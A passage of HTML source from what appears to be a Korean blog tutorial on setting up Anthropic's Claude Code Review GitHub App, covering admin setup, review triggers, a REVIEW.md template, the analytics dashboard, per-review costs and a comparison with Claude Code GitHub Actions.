      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Team 또는 Enterprise 플랜&lt;/b&gt; 구독 (Pro/Max 불가)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Zero Data Retention(ZDR) &lt;b&gt;비활성화&lt;/b&gt; 상태&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GitHub App
    설치 단계&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review는 Admin이 조직 단위로 한 번 설정하면, 개발자들은 별도 설정 없이 자동으로 리뷰를 받을
    수 있다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.anthropic.com/en/docs/claude-code/code-review&quot;
      target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;)&lt;/p&gt;
  &lt;!-- Step by step --&gt;
  &lt;div
    style=&quot;display: flex; align-items: flex-start; margin-bottom: 20px; background-color: #f8fbff; border-radius: 12px; border: 1px solid #cce5ff; padding: 20px;&quot;&gt;
    &lt;div
      style=&quot;background-color: #0066cc; color: white; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; font-size: 16px; flex-shrink: 0; margin-right: 15px; line-height: 32px; text-align: center;&quot;&gt;
      1&lt;/div&gt;
    &lt;div&gt;
      &lt;h4 style=&quot;margin: 0 0 8px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;Admin 설정 페이지 접속&lt;/h4&gt;
      &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;claude.ai/admin-settings/claude-code&lt;/code&gt;에 접속하여 &lt;b&gt;Code
          Review&lt;/b&gt; 섹션을 찾는다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;display: flex; align-items: flex-start; margin-bottom: 20px; background-color: #f8fbff; border-radius: 12px; border: 1px solid #cce5ff; padding: 20px;&quot;&gt;
    &lt;div
      style=&quot;background-color: #0066cc; color: white; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; font-size: 16px; flex-shrink: 0; margin-right: 15px; line-height: 32px; text-align: center;&quot;&gt;
      2&lt;/div&gt;
    &lt;div&gt;
      &lt;h4 style=&quot;margin: 0 0 8px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;Setup 시작&lt;/h4&gt;
      &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Setup&lt;/b&gt; 버튼을 클릭한다. GitHub App 설치 플로우가 시작된다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;display: flex; align-items: flex-start; margin-bottom: 20px; background-color: #f8fbff; border-radius: 12px; border: 1px solid #cce5ff; padding: 20px;&quot;&gt;
    &lt;div
      style=&quot;background-color: #0066cc; color: white; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; font-size: 16px; flex-shrink: 0; margin-right: 15px; line-height: 32px; text-align: center;&quot;&gt;
      3&lt;/div&gt;
    &lt;div&gt;
      &lt;h4 style=&quot;margin: 0 0 8px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;Claude GitHub App 설치&lt;/h4&gt;
      &lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;프롬프트에 따라 GitHub 조직에 Claude GitHub App을 설치한다. 앱이 요청하는 권한:&lt;/p&gt;
      &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
        &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Contents:&lt;/b&gt; 읽기 및 쓰기&lt;/li&gt;
        &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Issues:&lt;/b&gt; 읽기 및 쓰기&lt;/li&gt;
        &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Pull requests:&lt;/b&gt; 읽기 및 쓰기&lt;/li&gt;
      &lt;/ul&gt;
      &lt;p style=&quot;margin-top: 8px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;※ Contents 읽기와 Pull requests 쓰기가
        Code Review의 핵심 권한이다. 나머지는 나중에 GitHub Actions 사용 시를 위한 것이다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;display: flex; align-items: flex-start; margin-bottom: 20px; background-color: #f8fbff; border-radius: 12px; border: 1px solid #cce5ff; padding: 20px;&quot;&gt;
    &lt;div
      style=&quot;background-color: #0066cc; color: white; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; font-size: 16px; flex-shrink: 0; margin-right: 15px; line-height: 32px; text-align: center;&quot;&gt;
      4&lt;/div&gt;
    &lt;div&gt;
      &lt;h4 style=&quot;margin: 0 0 8px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;레포지토리 선택&lt;/h4&gt;
      &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review를 활성화할 레포지토리를 선택한다. 레포지토리가 목록에 없으면 설치 과정에서 Claude GitHub
        App에 해당 레포 접근 권한을 부여했는지 확인한다. 나중에 추가할 수도 있다.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;display: flex; align-items: flex-start; margin-bottom: 20px; background-color: #f8fbff; border-radius: 12px; border: 1px solid #cce5ff; padding: 20px;&quot;&gt;
    &lt;div
      style=&quot;background-color: #0066cc; color: white; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; font-size: 16px; flex-shrink: 0; margin-right: 15px; line-height: 32px; text-align: center;&quot;&gt;
      5&lt;/div&gt;
    &lt;div&gt;
      &lt;h4 style=&quot;margin: 0 0 8px 0; font-size: 16px; color: #1a3a52;&quot; data-ke-size=&quot;size20&quot;&gt;레포별 트리거 설정&lt;/h4&gt;
      &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;설정 완료 후 Code Review 섹션에 레포지토리 테이블이 표시된다. 각 레포지토리별로 드롭다운에서 트리거를 선택한다.
        (아래에서 상세 설명)&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;설정 검증 방법&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;테스트 PR을 열어본다. &lt;b&gt;수 분 안에 &quot;Claude Code Review&quot; 체크 런이 GitHub PR에
        나타나야 한다.&lt;/b&gt; 이는 리뷰가 시작되었다는 신호이며, 실제 코멘트가 게시되기까지는 평균 20분이 소요된다. 체크 런이 나타나지 않으면 Admin 설정에서 레포지토리 목록과 GitHub App 접근
      권한을 확인한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;리뷰 트리거 설정
  &lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;레포지토리별로 두 가지 트리거 중 하나를 선택할 수 있다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;트리거&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비용&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PR 생성 시에만&lt;/b&gt;&lt;br /&gt;&lt;code
            style=&quot;font-size: 13px;&quot;&gt;After PR creation only&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PR이 열리거나 Draft &amp;rarr; Ready로 전환될 때 한 번만 실행&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PR당 1회&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Push마다&lt;/b&gt;&lt;br /&gt;&lt;code
            style=&quot;font-size: 13px;&quot;&gt;After every push to PR branch&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 push에서 실행, 새 이슈 발견 + 수정된 코멘트 자동 해결&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;push 횟수에 비례&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;권장 시작 방법&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;처음에는 &lt;b&gt;&quot;PR 생성 시에만&quot;&lt;/b&gt;으로 시작하는 것을 권장한다. 비용 패턴을 파악한 후 지속적인 커버리지와
      자동 코멘트 해결이 필요한 핵심 레포만 &quot;Push마다&quot;로 전환하자. &quot;Push마다&quot;는 push 횟수에 비례해 비용이 급증할 수 있다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 4: 커스터마이징 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 커스터마이징&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review는 두 가지 파일을 통해 팀의 코딩 규칙과 리뷰 기준을 반영할 수 있다. 두 파일 모두 기본
    정확성 검사에 &lt;b&gt;추가적으로&lt;/b&gt; 적용된다.&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLAUDE.md vs
    REVIEW.md &amp;mdash; 어떤 파일에 무엇을 쓸까?&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 20%;&quot;&gt;파일&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;적용 범위&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;언제 사용?&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLAUDE.md&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 Claude Code 세션 + 코드 리뷰&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;코딩 표준, 아키텍처 규칙 등 인터랙티브 세션에도 적용할 공통 가이드라인&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;REVIEW.md&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;코드 리뷰 전용&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;리뷰에서만 플래그/스킵할 항목 (생성 코드 제외, 특정 API 필수 테스트 등)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;REVIEW.md
    작성법 및 템플릿&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;REVIEW.md&lt;/code&gt;는 레포지토리 루트에 두면 별도 설정 없이 자동 인식된다. 아래 구조로
    작성한다:&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
    &lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# Code Review Guidelines

## Always check
- New API endpoints have corresponding integration tests
- Database migrations are backward-compatible
- Error messages don't leak internal details to users

## Style
- Prefer `match` statements over chained `isinstance` checks
- Use structured logging, not f-string interpolation in log calls

## Skip
- Generated files under `src/gen/`
- Formatting-only changes in `*.lock` files&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;CLAUDE.md 연동 효과&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;PR이 &lt;code&gt;CLAUDE.md&lt;/code&gt;에 명시된 규칙을 새로 위반하면 &lt;b&gt;Nit 수준&lt;/b&gt;의 발견으로
      표시된다. 반대로 PR이 &lt;code&gt;CLAUDE.md&lt;/code&gt;의 특정 내용을 구식으로 만든다면, Claude는 해당 문서 업데이트도 함께 제안한다. 서브디렉토리의
      &lt;code&gt;CLAUDE.md&lt;/code&gt;는 해당 경로의 파일에만 적용된다.
    &lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 5: 분석 대시보드 및 비용 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 분석 대시보드 및 비용&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Analytics
    대시보드&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;claude.ai/analytics/code-review&lt;/code&gt;에서 조직 전체의 Code
    Review 활동을 모니터링할 수 있다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;섹션&lt;/th&gt;
        &lt;th style=&quot;padding: 14px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;표시 내용&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;PRs reviewed&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;선택 기간 동안 리뷰된 PR의 일별 수&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cost weekly&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Code Review의 주간 지출액&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Feedback&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개발자가 이슈를 수정하여 자동 해결된 리뷰 코멘트 수&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Repository breakdown&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;레포별 리뷰된 PR 수 및 해결된 코멘트 수&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비용 구조&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Code Review는 &lt;b&gt;토큰 사용량&lt;/b&gt;을 기준으로 과금된다. PR 크기, 코드베이스 복잡도, 검증이 필요한
    이슈 수에 따라 달라진다:&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0f7ee; border: 1px solid #82c882; border-radius: 12px; padding: 20px 25px; margin: 20px 0;&quot;&gt;
    &lt;h4 style=&quot;margin: 0 0 15px 0; color: #1a5c1a; font-size: 17px;&quot; data-ke-size=&quot;size20&quot;&gt;비용 요약&lt;/h4&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;평균 리뷰 비용:&lt;/b&gt; 리뷰당 &lt;span
          style=&quot;color: #ee2323; font-weight: bold;&quot;&gt;$15&amp;ndash;25&lt;/span&gt; (토큰 기반, PR 크기&amp;middot;복잡도에 따라 변동)&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;청구 위치:&lt;/b&gt; AWS Bedrock이나 Google Vertex AI를 사용하는 조직도 Code Review 비용은
        &lt;b&gt;Anthropic 청구서&lt;/b&gt;에 별도로 청구됨
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;월별 한도 설정:&lt;/b&gt; &lt;code&gt;claude.ai/admin-settings/usage&lt;/code&gt;에서 Code Review 서비스의 월별
        지출 한도 설정 가능&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;트리거 영향:&lt;/b&gt; &quot;Push마다&quot; 트리거 선택 시 push 횟수에 비례하여 비용 증가 (주의 필요)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;비용 절감 팁&lt;/b&gt;&lt;br /&gt;
    &lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;활동이 적은 레포(월 PR 5개 이하)는 비활성화하거나 &quot;PR 생성 시에만&quot;으로 설정&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;REVIEW.md에서 생성 코드, 락 파일, 픽스처 파일 등 검사가 불필요한 경로를 Skip 목록에 추가&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;claude.ai/admin-settings/usage&lt;/code&gt;에서 월별 지출 한도를 설정하여 예산 초과 방지&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Admin settings에서 레포별 평균 비용을 확인하고 우선순위 낮은 레포는 비활성화&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비용 대비 효과
    (ROI)&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;리뷰당 $15-25가 비싼가?&quot;라는 질문에는 맥락이 필요하다. 비교 기준을 세워보자.&lt;/p&gt;
  &lt;div
    style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;시니어 엔지니어
      리뷰 vs Code Review&lt;/h4&gt;
    &lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;시니어 엔지니어 심층 리뷰:&lt;/b&gt; 시간당 $150-300 수준, PR 하나에 30분~2시간 &amp;rarr; $75~$600&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Code Review:&lt;/b&gt; PR당 평균 $15-25&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; Code Review는 시니어 엔지니어 리뷰의 약 1/10 ~ 1/20 비용으로 심층 분석 제공&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;단, Code Review는 인간 리뷰를 완전히 대체하지 않는다.&lt;/b&gt; PR 승인은 여전히 사람의 몫이다.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p style=&quot;margin-top: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;추정: 엔지니어 인건비는 지역&amp;middot;경력에 따라 크게
      다르므로 참고용 계산임&lt;/p&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;프로덕션 버그 1개를 못 잡는 비용은?&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;TrueNAS 사례처럼 암호화 키 캐시가 매번 지워지는 버그를 프로덕션에서 발견했다면, 인시던트
      대응&amp;middot;롤백&amp;middot;데이터 복구 비용이 리뷰 비용의 수백 배가 될 수 있다. Code Review는 버그 1개를 잡아내는 것만으로도 투자비를 회수한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 6: 선택 가이드 --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. GitHub Actions vs Code Review &amp;mdash; 선택 가이드&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 Code Review 외에도 &lt;b&gt;Claude Code GitHub Actions&lt;/b&gt;를
    제공한다. 두 방식은 서로 다른 사용 시나리오에 적합하다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Code Review (관리형)&lt;/th&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;GitHub Actions (자체 운영)
        &lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 방식&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 인프라에서 자동&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GitHub 러너에서 직접 실행&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트리거&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;PR 자동 (완전 무인)&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;@claude&lt;/code&gt; 멘션 또는 이벤트 기반&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;분석 깊이&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;멀티 에이전트 병렬 심층 분석&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;단일 에이전트, 프롬프트에 따라 다름&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;비용&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;리뷰당 평균 $15-25 (높음)&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;토큰 사용량 기반 (더 저렴)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;구독 요건&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Team / Enterprise&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;API 키 (플랜 무관)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;유지 관리&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic이 관리&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;팀이 직접 워크플로우 관리&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
